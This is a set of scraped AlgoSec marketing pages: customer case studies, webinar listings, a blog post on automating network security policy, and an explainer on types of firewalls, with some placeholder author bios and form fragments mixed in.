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Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Nationwide Organization Nationwide Industry Financial Services Headquarters Columbus Ohio, USA Download case study Share Customer
success stories AlgoSec delivers an application-centric solution to meet the network security challenges of one of the top financial services firms in the US. To learn more, go to https://algosec.com/ Schedule time with one of our experts

Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Dimension Data Enhances Delivery Of Managed Security Services With AlgoSec Organization DIMENSION DATA Industry Technology Headquarters Australia Download case study Share Customer
success stories "We were fortunate enough to get a double benefit from using AlgoSec in our environment — reducing costs to serve our clients, and expanding our service offerings" IT Solution Provider Streamlines and Automates Security Operations for Clients AlgoSec Business Impact Generate incremental revenue from new policy compliance management services Reduce cost of service for Managed Security Service offering Improve quality of service, assuring a direct and timely response to security issues Background Dimension Data, founded in 1983 and headquartered in Africa, provides global specialized IT services and solutions to help their clients plan, build, support and manage their IT infrastructures. The company serves over 6,000 clients in 58 countries and in all major industry verticals. Dimension Data serves 79% of the Global Fortune Top 100 and 63% of the Global Fortune 500. Challenge In an effort to bring greater efficiency and flexibility, Dimension Data Australia sought to apply security industry best practices and streamlined processes to its delivery methodology. Automation was identified as a key capability that would enable them to reduce service costs and increase quality of service. “The operational management of security infrastructure is quite labor intensive,” remarks Martin Schlatter, Security Services Product Manager at Dimension Data. “The principle reasons for automating managed services are reducing work time, freeing up people for other tasks, and leveraging expertise that is ‘built in’ the automated tool.” By doing this Dimension Data could offer better service to existing clients while expanding their client base. “Additionally, the increased appetite for the Managed Security Services offering has been fueled by an increasing focus on governance, risk management and compliance, and we are expected to deliver faster and more accurate visibility of the security and compliance posture of the network,” explains Schlatter. Solution Dimension Data selected the AlgoSec Security Management Solution as a part of their toolset to deliver their Managed Security Services, which include automated and fully integrated operational management of client security infrastructures. The intelligent automation at the heart of AlgoSec will enable Dimension Data’s team to easily and effectively perform change monitoring, risk assessment, compliance verification and policy optimization for their clients, and act upon the findings quickly. This includes getting rid of unused or obsolete rules in the policy, reordering rules to increase performance and identifying risky rules. Another key factor in the decision making process was the relationship between Dimension Data and AlgoSec. “AlgoSec was deemed most suitable to meet our delivery needs for Managed Services. We selected them for their specific technology fit, and flexibility to assist in growing our managed service business. The partnership element was eventually the overriding factor,” says Schlatter. Results With AlgoSec, Dimension Data is now able to deliver their clients a comprehensive view of the security posture of their network security devices. This is crucial to establishing a baseline understanding of a security network, which makes it possible to truly assess and remediate risks, errors and inefficiencies. The ability to automatically provide this type of information at the most accurate level provides a key competitive differentiator for the company and a large benefit for its clients. “The value-added contribution is saving time, in terms of automation,” remarked Schlatter. “We found a way to reduce costs by automating manual operational tasks. At the same time, we were fortunate enough to leverage AlgoSec to expand our service offerings, so we got a double benefit from using AlgoSec in our environment.” One of the major features of integrating AlgoSec into the Dimension Data solution is the ability to support multiple client domains from a single AlgoSec management console. “This scalable configuration has proven to be invaluable when managing multiple clients with complex multi-vendor, multi-device security environments,” says Schlatter. “It consolidates administrative tasks, cuts time and costs, and ensures proper administration and segregation of duties from our end.” AlgoSec enhances the Managed Security Services offerings by delivering comprehensive risk and compliance management. Dimension Data professionals can generate risk and audit-ready compliance reports in a fraction of the time and with much greater accuracy compared to traditional manual analysis. “Our clients who require ISO 27001 and PCI DSS accreditation have greatly benefitted from this,” said Schlatter. Schedule time with one of our experts

Learn best practices for mastering network object management Webinars From chaos to control - overcoming 5 challenges of network object management Learn how to master network object management Join our free webinar on conquering 5 common network object management obstacles! Learn practical tips and strategies to simplify your network management process and boost efficiency. Don’t miss out on this opportunity to improve your network performance and minimize headaches. May 24, 2023 Kfir Tabak Product Manager Relevant resources Synchronized Object Management in a Multi-Vendor Environment Watch Video How to Structure Network Objects to Plan for Future Policy Growth Watch Video How to Manage Dynamic Objects in Cloud Environments Watch Video Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Get your network security questions answered by AlgoSec experts. Find clear, concise answers to common challenges and best practices for optimal security. Network Security FAQs: Answered by AlgoSec Experts ---- ------- Schedule a Demo Select a size ----- Get the latest insights from the experts Use these six best practices to simplify compliance and risk mitigation with the AlgoSec platform White paper Learn how AlgoSec can help you pass PCI-DSS Audits and ensure continuous compliance Solution overview See how this customer improved compliance readiness and risk management with AlgoSec Case study Choose a better way to manage your network

Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. SecureLink Enables Business Agility with Hybrid Cloud Management Organization SecureLink Industry Security Service Provider Headquarters Malmo, Sweden Download case study Share Customer
success stories "To be able to apply the same policy on all your infrastructure is priceless" SecureLink is Europe’s premier, award-winning, cybersecurity company. Active since 2003, they operate from 15 offices in 8 countries, to build a safe, connected world. More than 2,000 experts and thought leaders are dedicated to delivering unrivalled information security value for over 1,300 customers. They are part of the Orange Group, one of the world’s leading telecommunications operators, and listed on Euronext Paris and the New York Stock Exchange (NYSE). The Challenge SecureLink has been an on-site consultant for several years for a large global entertainment company. SecureLink’s client has over 100 firewalls running both on-premises and on AmazonWeb Services (AWS) from several different vendors. Some of the challenges included: “Shadow IT” had taken over, causing security risks and friction with IT, who had to support it. Security policies were being managed in tedious and unmaintainable Excel spreadsheets Lack of verification if official firewall policies accurately reflected traffic flows The business units were pushing a migration to a hybrid cloud environment rather than relying exclusively on an on-premises deployment. Business units were unilaterally moving business applications to the cloud, leading to “shadow IT.” Business application owners were unable to comply with security policies, troubleshoot their “shadow network,” nor connect cloud-based servers to local servers. When there were problems, the business units went back to the IT department, who had to fix a mess they didn’t create. The Solution SecureLink was searching for a solution that provided: Automation of security policy change management and documentation of security policy changes Comprehensive firewall support for their multi-vendor, hybrid estate Ability to determine compliance and risk profiles Full visibility and control for IT, while enabling business agility In order to keep the business happy and agile, but ensure that IT had full visibility and control, they implemented AlgoSec. The client selected AlgoSec’s Security Policy Management Solution, which includes AlgoSec Firewall Analyzer and AlgoSec FireFlow. AlgoSec Firewall Analyzer delivers visibility and analysis of complex network security policies across on-premise, cloud, and hybrid networks. It automates and simplifies security operations including troubleshooting, auditing, and risk analysis. Using Firewall Analyzer, SecureLink can optimize the configuration of firewalls, and network infrastructure to ensure security and compliance. AlgoSec FireFlow enables security staff to automate the entire security policy change process from design and submission to proactive risk analysis, implementation, validation, and auditing. Its intelligent, automated workflows save time and improve security by eliminating manual errors and reducing risk. The Results AlgoSec helped SecureLink gain control of shadow IT without slowing down the business. By using AlgoSec to gain full visibility of the entire network, IT was able to regain control over company’s security policy while supporting the move to the cloud. “AlgoSec lets us take ownership and be quick for the business,” said Björn Löfman, a consultant at SecureLink. “The way AlgoSec provides the whole map of the internal and cloud networks is outstanding, and to be able to apply the same policy on all your infrastructure is priceless.” By using the AlgoSec Security Management Solution, SecureLink was able to clean up risky firewall policies, gain increased understanding of their security policies, tighten compliance, and enhance migrations of hardware and implement a hybrid cloud environment with Amazon Web Services (AWS). Some benefits to the client of AlgoSec include: Greater understanding of network security policies Easier firewall migration – they migrated from Juniper NetScreen to Check Point firewalls Ability to optimize rules and reduce unneeded and duplicate rules and objects. They were able to go from 4,000 rules to 1,110 rules – a 72% reduction. Move to the hybrid cloud with the adoption of Amazon Web Services Able to reduce shadow IT and reclaim ownership of the cloud Full visibility of entire hybrid network – including both on-premise and devices in the cloud including firewalls, AWS security groups , and Access Control Lists (ACLs). Schedule time with one of our experts

Security Policy Management with Professor Wool Best Practices: Incorporating Security into DevOps Best Practices for Incorporating Security into DevOps, is a whiteboard-style series of lessons that examine the challenges of and provide technical tips for how to incorporate security throughout the DevOps process. Lesson 1 In this lesson, Professor Wool examines the need for and the process of adjusting application connectivity throughout each stage of the DevOps lifecycle. Best Practices for Incorporating Security Automation into the DevOps Lifecycle Watch Lesson 2 In theory adding capacity should be fairly straightforward, with minimal need for any intervention by the organization’s security team. But in practice it’s a little more complex. In this video Professor Wool provides some tips and best practices to help you add capacity without having to change your security policies, complete a security review or worse still, cause an outage or gap in the security perimeter. Tips for Adding Capacity Without Changing Your Security Policies Watch Lesson 3 In a typical DevOps scenario development team adds new functionality to an existing business application and then rolls it out into production. However, while the new functionality worked as planned in both the test and pre-production environments, the application then fails when moved into the live production environment. In this video, Professor Wool will discuss the reasons why this process went wrong, and how you can fix it. How to Integrate Security into the Test Environment Watch Lesson 4 In previous lessons Professor Wool discussed how building security into DevOps processes at an early stage helps organizations maximize the speed and agility of application development, while minimizing the risks of problems and outages when the applications go live. In this whiteboard video Professor Wool looks at how security automation helps to speed up the practice of Continuous Integration (CI) - a core element of DevOps. How to Integrate Security into the CI Process Watch Have a Question for Professor Wool? Ask him now Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Security policy automation is the process of automating certain cybersecurity tasks like threat detection (ransomware, malware, security... Firewall Policy Management What is Network Security Policy Automation? Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/9/23 Published Security policy automation is the process of automating certain cybersecurity tasks like threat detection (ransomware, malware, security rules, network changes), investigation, and remediation. Automating such practices reflects in the policy that governs them. Thus, security policy automation is the process of automating network security controls using a programmatic solution. In present-day security operation centers (SOCs), NSPM solutions can facilitate automation. These work by identifying vulnerabilities, threats, and attack surfaces in the security posture, assessing them, prioritizing them, responding to them in order through pre-defined actions, and streamlining the process for the security executives. So, automation doesn’t mean everything from end to end is automated. Some human intervention may be necessary, at least at the higher decision-making level. Benefits of network security policy automation Automation in security policy has several benefits for an organization. Thus, it’s not hard to see why companies are pumping money into network security automation solutions . Some of the proven benefits are: Automate manual tasks in cybersecurity The primary benefit of any automation practice is to reduce manual labor. Connectivity security automation frees up resources from many redundant manual tasks, which you can then deploy elsewhere. This automation yields several other benefits that make automation irresistible for companies. Bring down false positive alerts False positive alerts or alarms are those instances where the cloud security system gets triggered because of a false threat, like firewall rules . In other words, the management platform perceives certain actions to be threatening, which actually are harmless. This consumes unnecessary resources. IT teams can prevent such real-time false alerts by making use of regulatory automation. Automation tools can detect and verify such alarms and take pre-defined actions should the alerts be false. Consider it a second check before raising the issue at a higher level. Reduce downtime Downtime is one of the pressing issues in IT departments. A study by Gartner penned the average cost of downtime at $5,600 per minute for certain businesses. When the system detects a threat, it typically shuts down certain network segments (like web services, routers, and so on). This can result in downtime. Some downtimes might be unavoidable, but those arising from false positive alerts certainly are. Thus, network security policy automation helps in that regard too. Reduce headcount There’s a shortage of talent in the cybersecurity And often, competent men and women demand sky-high salaries. So, from an economic standpoint, using automation to counter the lack of talent makes sense. With automation, you can divert human resources to other productive tasks. Make compliance easier Compliance is critical for businesses, especially in critical insurance, medical, and legal sectors. Up-to-date infrastructure comprising of Cisco, AWS, Tufin , and other reputed companies with the latest cybersecurity measures is one of the prerequisites laid out by most regulators. Network security policy automation can help update the infrastructure to the latest standards. This, in turn, helps the business stay compliant. Why is automation still a challenge in network security? Despite all its promises and proven benefits, many companies are reluctant to invest in security automation And the reason is it’s challenging to do so. Automation is hard because management itself is hard. You can’t automate something you can’t fully manage properly. E mployees, teams, and projects change, as do the access control Because of such a dynamic environment, automation is still challenging. Another reason is teams tend to work in silos. Multiple stakeholders are involved, including the customers, who must understand and accept the changes. Automation in such instances, known as Deploy and Configure, remains a challenge. But despite the challenges, there are ways to automate multi-vendor on-premises network security Even if you successfully automate some aspects of the policy, it’d be a huge time and resource saver. How to automate network security policy management? Cloud-based security policy automation has been around for quite some time. It has received upgrades over time and has gotten better. Let’s look at present-day automation practices, change processes, and troubleshooting tips. Review the current policy You can’t start from scratch, especially if you have an existing network security policy . The best approach is to start automation from where you are. This way, your security teams do not need to make drastic changes, which may put your network in a more vulnerable state. So as a first step, review your existing cloud environments policy and establish needs. Post that, formulate a plan on which things you can automate and which require manual intervention. Start with things that can be automated. If starting from starch, you must create a security policy first. So, hire cybersecurity experts from AlgoSec to formulate and optimize a policy for your organization’s hybrid network. You can also use Prevasio CNAPP to manage the multi-cloud security You might also want to conduct a webinar if important stakeholders work remotely. The idea is to bring everyone on the same page. Select the type of security automation tools There are three types of hybrid environment security automation tools to choose from. These are no-code, low-code, and full-code automation. The type of automation you select will impact your security policy changes . Pricing of each tool will also play an important role. No-code security automation is the newest type. As the name suggests, such tools do not require coding to automate network security . There are several use cases and pre-made workflows that you can use right off the bat. These are much easier to manage but don’t grant you complete control over the policy. You can have several automation tools within low-code tools like some-code or more-code. Most businesses prefer these security tools since they offer a balance of user-friendliness and robust coding capabilities. You can change and apply the pre-defined use cases to your company’s security policy. Finally, you have full-code automation AlgoBot , for instance, is an intelligent chatbot for handling network security policy management tasks. These are legacy security orchestration, automation, and response (SOAR) platforms. A high level of coding work is necessary to work with these full-code firewall management tools, which poses a high barrier to entry. But the upside is you get full control over the policy. Adopt zero-touch change management Truth be told, you can’t automate 100% of the security policy. Skilled personnel will still be needed to look over everything. However, for those manual tasks, you need speed while still upholding the security principles. How do you balance both? With zero-touch change management. Zero-touch orchestration is an alternative to semi-automated security processes. Vulnerability management accelerates change requests, reducing the time it takes to implement requests to minutes. Despite the speed advantage, zero-touch orchestration has flaws. For example, it accepts the requests as-is and doesn’t check their validities. This can result in misconfiguration. For security risk mitigation , you can embed conditional logic into the orchestration and leverage security and speed. This form of automation will ensure none of the process steps are missed in the lifecycle. FireFlow provides automated security policy management, helping you confidently automate security policy change process. Establish priorities Deploying automation tools is one part done. The next part is adopting the best practices and organizing your team. One of the best practices of policy automation is to establish priorities. Finding the DevOps issues that are more critical to your security needs is imperative. Then place them higher for the team to address them. This requires you to look at your overall network posture (which you have done in the first step). Once you’ve established clear priorities, you should define the use cases and implement workflow automation. Train team members Last, to ensure continuous compliance, you must upskill your team members to grasp the implemented changes. The transition from manual to automated will be challenging for employees too. Make them understand why it’s being done and what they’re supposed to do. This is done through a combination of courses and practical knowledge. Besides the knowledge, they should also clarify where the machine’s capabilities end and human responsibility begins. Once automated, it will take some time for the team to get familiarized with it. For the best results, automate the workflow in batches and not the entire network at once. Develop the playbook along the way and get everyone on the same page. Once you get a tempo, invest in third-party tools and vendors to speed up the automation What’s next? Network security policy automation makes compliance easier, reduces downtime, and automates manual tasks in cybersecurity. However, automation still means having the right tools and professionals within reach. If you are looking forward to automating network security policy automation and getting the right guidance, we are here. Contact us today to learn more. Schedule a demo Related Articles Q1 at AlgoSec: What innovations and milestones defined our start to 2026? AlgoSec Reviews Mar 19, 2023 · 2 min read 2025 in review: What innovations and milestones defined AlgoSec’s transformative year in 2025? AlgoSec Reviews Mar 19, 2023 · 2 min read Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Best practices for network security governance in AWS and hybrid network environments Webinars Achieving Visibility and Security in AWS and across the Hybrid Network | AWS & AlgoSec Joint Webinar As enterprises rapidly migrate data and applications to public clouds such as Amazon Web Services (AWS), they achieve many benefits, including advanced security capabilities, but also face new security challenges. AWS lets organizations operate applications in a hybrid deployment mode by providing multiple networking capabilities. To maintain an effective security posture while deploying applications across complex hybrid network environments, security professionals need a holistic view and control from a single source. Yet, security isn’t just the responsibility of the cloud providers alone. Organizations need to understand the shared responsibility model and their role in maintaining a secure deployment. While AWS’s cloud framework is secured by AWS, the challenge of using the cloud securely is the responsibility of your organization’s IT and CISOs. As multiple DevOps and IT personnel make frequent configuration changes, the shared responsibility model helps achieve visibility and maintain cloud security. In this webinar, Yonatan Klein, AlgoSec’s Director of Product, and Ram Dileepan, Amazon Web Service’s Partner Solutions Architect, will share best practices for network security governance in AWS and hybrid network environments. January 22, 2020 Yonatan Klein irector of Product Management Relevant resources Migrating Business Applications to AWS? Tips on Where to Start Keep Reading Extending Network Security Visibility and Control into AWS Keep Reading Combining Security Groups and Network ACLs to Bypass AWS Capacity Limitations Watch Video Change Management, Auditing and Compliance in an AWS Hybrid Environment Watch Video Advanced Security, Visibility & Management For Aws Clouds Read Document AWS Security Fundamentals: Dos and Don’ts Keep Reading Choose a better way to manage your network Choose a better way to manage your network Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Learn how to secure your hybrid cloud environment with best practices and strategies in this article Safeguard your sensitive data from potential threats Hybrid cloud security management: Best practices + solution Select a size Which network Can AlgoSec be used for continuous compliance monitoring? Yes, AlgoSec supports continuous compliance monitoring. As organizations adapt their security policies to meet emerging threats and address new vulnerabilities, they must constantly verify these changes against the compliance frameworks they subscribe to. AlgoSec can generate risk assessment reports and conduct internal audits on-demand, allowing compliance officers to monitor compliance performance in real-time. Security professionals can also use AlgoSec to preview and simulate proposed changes to the organization’s security policies. This gives compliance officers a valuable degree of lead-time before planned changes impact regulatory guidelines and allows for continuous real-time monitoring. What Is hybrid cloud security? What are the 2 other categories of cloud security? Security benefits of a hybrid cloud solution What are the risks in hybrid cloud security? Components of hybrid cloud security Hybrid cloud security infrastructure Hybrid cloud security best practices AlgoSec and hybrid cloud security Get the latest insights from the experts Learn how AlgoSec can help you pass PCI-DSS Audits and ensure continuous Solution Overview Use these six best practices to simplify compliance and risk Case study See how this customer improved compliance readiness and risk Case study Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Leading Bank Transforms Digitalization Journey With AlgoSec Organization Leading Bank Industry Financial Services Headquarters United States Download case study Share Customer
success stories "AlgoSec is like a person sitting in my bank taking care of everything - simplifying day-to-day operations and reducing human errors because everything is automated.” Background Background The bank is a full-service commercial bank headquartered in India. It offers a wide range of banking and financial products for corporate and retail customers through retail banking and asset management services. The bank offers personal, corporate, and internet banking services including accounts, deposits, credit cards, home loans, and personal loans. The Challenges The client’s key issues related to the management of the firewalls, dealing with rule duplication and human errors. Their network security operations teams were hampered by manual, slow, and error-prone security change-management processes. It often took around four days to process a single change across their complex network environment. The frequent errors that arose from manual processes opened security gaps and put them at risk of cyberattacks. Some of their challenges included: Human errors leading to misconfiguration – The organization was handling over 30 firewalls and 30 to 40 rules in a day across multiple firewalls. They lacked the skilled resources to implement these rule changes. This led to errors and misconfigurations. Lack of visibility – They lacked visibility into their overall network and traffic flows and failed to understand which rules applied to each firewall. Duplicate rules – They had many duplicate firewall policies, negatively impacting performance. Policy optimization – The organization required policies to be frequently optimized. Lack of visibility – The organization needed visibility across their networks, allowing them to quickly find and fix issues. Time-consuming manual change management processes. Solution The organization looked for a partner that understood their challenges, could integrate into their existing solutions, and could take full responsibility for any issues. In the words of the bank’s executive vice president, “ We were looking for a partner, not a product.” The key factors that the bank was looking for were: Alignment with their digital transformation vision – They wanted to align with key stakeholders among business, operations, network, and security teams. Automation as a key focus – Automation was important to reduce human errors, align with the considerable number of requests and adapt to the agile nature of critical applications. With automation, they were looking to implement firewall changes faster. Easy to use and integrate within the existing infrastructure. Unified view of their multi-vendor firewall estate – They wanted a single console where they could see all their firewalls, understand their collective risk, and gain a holistic view of the current state of their firewall policies. As a result, the customer implemented the AlgoSec Security Management Solution. Results: The AlgoSec Security Management Solution transformed the bank’s digitalization journey, leading to: Time to implement rule changes decreased from 4-5 days to less than 48 hours – a 60% reduction. Automatically implemented changes – Changes are automatically implemented, without needing to guess which rules and devices are in path. Reduced human error and elimination of repetitive, manual tasks. Simplified daily operations. Automated change management across application-centric infrastructure. Identified and mitigated risks. Transformed digitization journey. AlgoSec now has end-to-end visibility of which firewall it needs to implement the changes on. The bank was in the process of switching from a traditional infrastructure to Cisco ACI. The transition was smooth. AlgoSec seamlessly integrated into Cisco ACI and their existing Palo Alto Network devices. “I think we are the first in India who approached AlgoSec and got these solutions implemented – getting Cisco ACI, Palo Alto, and AlgoSec working hand in hand with full integration. This is the best thing we’ve seen till now,” noted the vice president. Looking ahead, they plan to extend AlgoSec’s offering, mapping rule applications, and other capabilities to help them migrate to the cloud. Schedule time with one of our experts

Firewalls form the first line of defense against intrusive hackers trying to infiltrate internal networks and steal sensitive data. They... Firewall Change Management 5 Types of Firewalls for Enhanced Network Security Asher Benbenisty 2 min read Asher Benbenisty Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 10/25/23 Published Firewalls form the first line of defense against intrusive hackers trying to infiltrate internal networks and steal sensitive data. They act as a barrier between networks, clearly defining the perimeters of each. The earliest generation of packet-filter firewalls were rudimentary compared to today’s next-generation firewalls, but cybercrime threats were also less sophisticated. Since then, cybersecurity vendors have added new security features to firewalls in response to emerging cyber threats. Today, organizations can choose between many different types of firewalls designed for a wide variety of purposes. Optimizing your organization’s firewall implementation requires understanding the differences between firewalls and the network layers they protect. How Do Firewalls Work? Firewalls protect networks by inspecting data packets as they travel from one place to another. These packets are organized according to the transmission control protocol/internet protocol (TCP/IP), which provides a standard way to organize data in transit. This protocol is a concise version of the more general OSI model commonly used to describe computer networks. These frameworks allow firewalls to interpret incoming traffic according to strictly defined standards. Security experts use these standards to create rules that tell firewalls what to do when they detect unusual traffic. The OSI model has seven layers: Application Presentation Session Transport Network Data link Physical Most of the traffic that reaches your firewall will use one of the three major Transport layer protocols in this model, TCP, UDP, or ICMP. Many security experts focus on TCP rules because this protocol uses a three-step TCP handshake to provide a reliable two-way connection. The earliest firewalls only operated on the Network Layer, which provides information about source and destination IP addresses, protocols, and port numbers. Later firewalls added Transport Layer and Application Layer functionality. The latest next-generation firewalls go even further, allowing organizations to enforce identity-based policies directly from the firewall. Related Read : Host-Based vs. Network-Based Firewalls 1. Traditional Firewalls Packet Filtering Firewalls Packet-filtering firewalls only examine Network Layer data, filtering out traffic according to the network address, the protocol used, or source and destination port data. Because they do not inspect the connection state of individual data packets, they are also called stateless firewalls. These firewalls are simple and they don’t support advanced inspection features. However, they offer low latency and high throughput, making them ideal for certain low-cost inline security applications. Stateful Inspection Firewalls When stateful firewalls inspect data packets, they capture details about active sessions and connection states. Recording this data provides visibility into the Transport layer and allows the firewall to make more complex decisions. For example, a stateful firewall can mitigate a denial-of-service attack by comparing a spike in incoming traffic against rules for making new connections – stateless firewalls don’t have a historical record of connections to look up. These firewalls are also called dynamic packet-filtering firewalls. They are generally more secure than stateless firewalls but may introduce latency because it takes time to inspect every data packet traveling through the network. Circuit-Level Gateways Circuit-level gateways act as a proxy between two devices attempting to connect with one another. These firewalls work on the Session layer of the OSI model, performing the TCP handshake on behalf of a protected internal server. This effectively hides valuable information about the internal host, preventing attackers from conducting reconnaissance into potential targets. Instead of inspecting individual data packets, these firewalls translate internal IP addresses to registered Network Address Translation (NAT) addresses. NAT rules allow organizations to protect servers and endpoints by preventing their internal IP address from being public knowledge. 2. Next-Generation Firewalls (NGFWs) Traditional firewalls only address threats from a few layers in the OSI model. Advanced threats can bypass these Network and Transport Layer protections to attack web applications directly. To address these threats, firewalls must be able to analyze individual users, devices, and data assets as they travel through complex enterprise networks. Next-generation firewalls achieve this by looking beyond the port and protocol data of individual packets and sessions. This grants visibility into sophisticated threats that simpler firewalls would overlook. For example, a traditional firewall may block traffic from an IP address known for conducting denial-of-service attacks. Hackers can bypass this by continuously changing IP addresses to confuse and overload the firewall, which may allow routing malicious traffic to vulnerable assets. A next-generation firewall may notice that all this incoming traffic carries the same malicious content. It may act as a TCP proxy and limit the number of new connections made per second. When illegitimate connections fail the TCP handshake, it can simply drop them without causing the organization’s internal systems to overload. This is just one example of what next-gen firewalls are capable of. Most modern firewall products combine a wide variety of technologies to provide comprehensive perimeter security against comprehensive cyber attacks. How do NGFWs Enhance Network Security? Deep Packet Inspection (DPI) : NGFWs go beyond basic packet filtering by inspecting the content of data packets. They analyze the actual data payload and not just header information. This allows them to identify and block threats within the packet content, such as malware, viruses, and suspicious patterns. Application-Level Control : NGFWs can identify and control applications and services running on the network. This enables administrators to define and enforce policies based on specific applications, rather than just port numbers. For example, you can allow or deny access to social media sites or file-sharing applications. Intrusion Prevention Systems (IPS) : NGFWs often incorporate intrusion prevention capabilities. They can detect and prevent known and emerging cyber threats by comparing network traffic patterns against a database of known attack signatures. This proactive approach helps protect against various cyberattacks. Advanced Threat Detection: NGFWs use behavioral analysis and heuristics to detect and block unknown or zero-day threats. By monitoring network traffic for anomalies, they can identify suspicious behavior and take action to mitigate potential threats. U ser and Device Identification : NGFWs can associate network traffic with specific users or devices, even in complex network environments. This user/device awareness allows for more granular security policies and helps in tracking and responding to security incidents effectively. Integration with Security Ecosystem : NGFWs often integrate with other security solutions, such as antivirus software, intrusion detection systems (IDS), and security information and event management (SIEM) systems. This collaborative approach provides a multi-layered defense strategy . Security Automation : NGFWs can automate threat response and mitigation. For example, they can isolate compromised devices from the network or initiate other predefined actions to contain threats swiftly. In a multi-layered security environment, these firewalls often enforce the policies established by security orchestration, automation, and response (SOAR) platforms. Content Filtering : NGFWs can filter web content, providing URL filtering and content categorization. This helps organizations enforce internet usage policies and block access to potentially harmful or inappropriate websites. Some NGFWs can even detect outgoing user credentials (like an employee’s Microsoft account password) and prevent that content from leaving the network. VPN and Secure Remote Access : NGFWs often include VPN capabilities to secure remote connections. This is crucial for ensuring the security of remote workers and branch offices. Advanced firewalls may also be able to identify malicious patterns in external VPN traffic, protecting organizations from threat actors hiding behind encrypted VPN providers. Cloud-Based Threat Intelligence : Many NGFWs leverage cloud-based threat intelligence services to stay updated with the latest threat information. This real-time threat intelligence helps NGFWs identify and block emerging threats more effectively. Scalability and Performance : NGFWs are designed to handle the increasing volume of network traffic in modern networks. They offer improved performance and scalability, ensuring that security does not compromise network speed. Logging and Reporting : NGFWs generate detailed logs and reports of network activity. These logs are valuable for auditing, compliance, and forensic analysis, helping organizations understand and respond to security incidents. 3. Proxy Firewalls Proxy firewalls are also called application-level gateways or gateway firewalls. They define which applications a network can support, increasing security but demanding continuous attention to maintain network functionality and efficiency. Proxy firewalls provide a single point of access allowing organizations to assess the threat posed by the applications they use. It conducts deep packet inspection and uses proxy-based architecture to mitigate the risk of Application Layer attacks. Many organizations use proxy servers to segment the parts of their network most likely to come under attack. Proxy firewalls can monitor the core internet protocols these servers use against every application they support. The proxy firewall centralizes application activity into a single server and provides visibility into each data packet processed. This allows the organization to maintain a high level of security on servers that make tempting cyberattack targets. However, these servers won’t be able to support new applications without additional firewall configuration. These types of firewalls work well in highly segmented networks that allow organizations to restrict access to sensitive data without impacting usability and production. 4. Hardware Firewalls Hardware firewalls are physical devices that secure the flow of traffic between devices in a network. Before cloud computing became prevalent, most firewalls were physical hardware devices. Now, organizations can choose to secure on-premises network infrastructure using hardware firewalls that manage the connections between routers, switches, and individual devices. While the initial cost of acquiring and configuring a hardware firewall can be high, the ongoing overhead costs are smaller than what software firewall vendors charge (often an annual license fee). This pricing structure makes it difficult for growing organizations to rely entirely on hardware devices. There is always a chance that you end up paying for equipment you don’t end up using at full capacity. Hardware firewalls offer a few advantages over software firewalls: They avoid using network resources that could otherwise go to value-generating tasks. They may end up costing less over time than a continuously renewed software firewall subscription fee. Centralized logging and monitoring can make hardware firewalls easier to manage than complex software-based deployments. 5. Software Firewalls Many firewall vendors provide virtualized versions of their products as software. They typically charge an annual licensing fee for their firewall-as-a-service product, which runs on any suitably provisioned server or device. Some software firewall configurations require the software to be installed on every computer in the network, which can increase the complexity of deployment and maintenance over time. If firewall administrators forget to update a single device, it may become a security vulnerability. At the same time, these firewalls don’t have their own operating systems or dedicated system resources available. They must draw computing power and memory from the devices they are installed on. This leaves less power available for mission-critical tasks. However, software firewalls carry a few advantages compared to hardware firewalls: The initial subscription-based cost is much lower, and many vendors offer a price structure that ensures you don’t pay for resources you don’t use. Software firewalls do not take up any physical space, making them ideal for smaller organizations. The process of deploying software firewalls often only takes a few clicks. With hardware firewalls, the process can involve complex wiring and time-consuming testing. Advanced Threats and Firewall Solutions Most firewalls are well-equipped to block simple threats, but advanced threats can still cause problems. There are many different types of advanced threats designed to bypass standard firewall policies. Advanced Persistent Threats (APTs) often compromise high-level user accounts and slowly spread throughout the network using lateral movement. They may move slowly, gathering information and account credentials over weeks or months before exfiltrating the data undetected. By moving slowly, these threats avoid triggering firewall rules. Credential-based attacks bypass simple firewall rules by using genuine user credentials to carry out attacks. Since most firewall policies trust authenticated users, attackers can easily bypass rules by stealing user account credentials. Simple firewalls can’t distinguish between normal traffic and malicious traffic by an authenticated, signed-in user. Malicious insiders can be incredibly difficult to detect. These are genuine, authenticated users who have decided to act against the organization’s interest. They may already know how the firewall system works, or have privileged access to firewall configurations and policies. Combination attacks may target multiple security layers with separate, independent attacks. For example, your cloud-based firewalls may face a Distributed Denial of Service (DDoS) attack while a malicious insider exfiltrates information from the cloud. These tactics allow hackers to coordinate attacks and cover their tracks. Only next-generation firewalls have security features that can address these types of attack. Anti-data exfiltration tools may prevent users from sending their login credentials to unsecured destinations, or prevent large-scale data exfiltration altogether. Identity-based policies may block authenticated users from accessing assets they do not routinely use. Firewall Configuration and Security Policies The success of any firewall implementation is determined by the quality of its security rules. These rules decide which types of traffic the firewall will allow to pass, and what traffic it will block. In a modern network environment, this is done using four basic types of firewall rules: Access Control Lists (ACLs). These identify the users who have permission to access a certain resource or asset. They may also dictate which operations are allowed on that resource or asset. Network Address Translation (NAT) rules. These rules protect internal devices by hiding their original IP address from the public Internet. This makes it harder for hackers to gain unauthorized access to system resources because they can’t easily target individual devices from outside the network. Stateful packet filtering . This is the process of inspecting data packets in each connection and determining what to do with data flows that do not appear genuine. Stateful firewalls keep track of existing connections, allowing them to verify the authentication of incoming data that claims to be part of an already established connection. Application-level gateways. 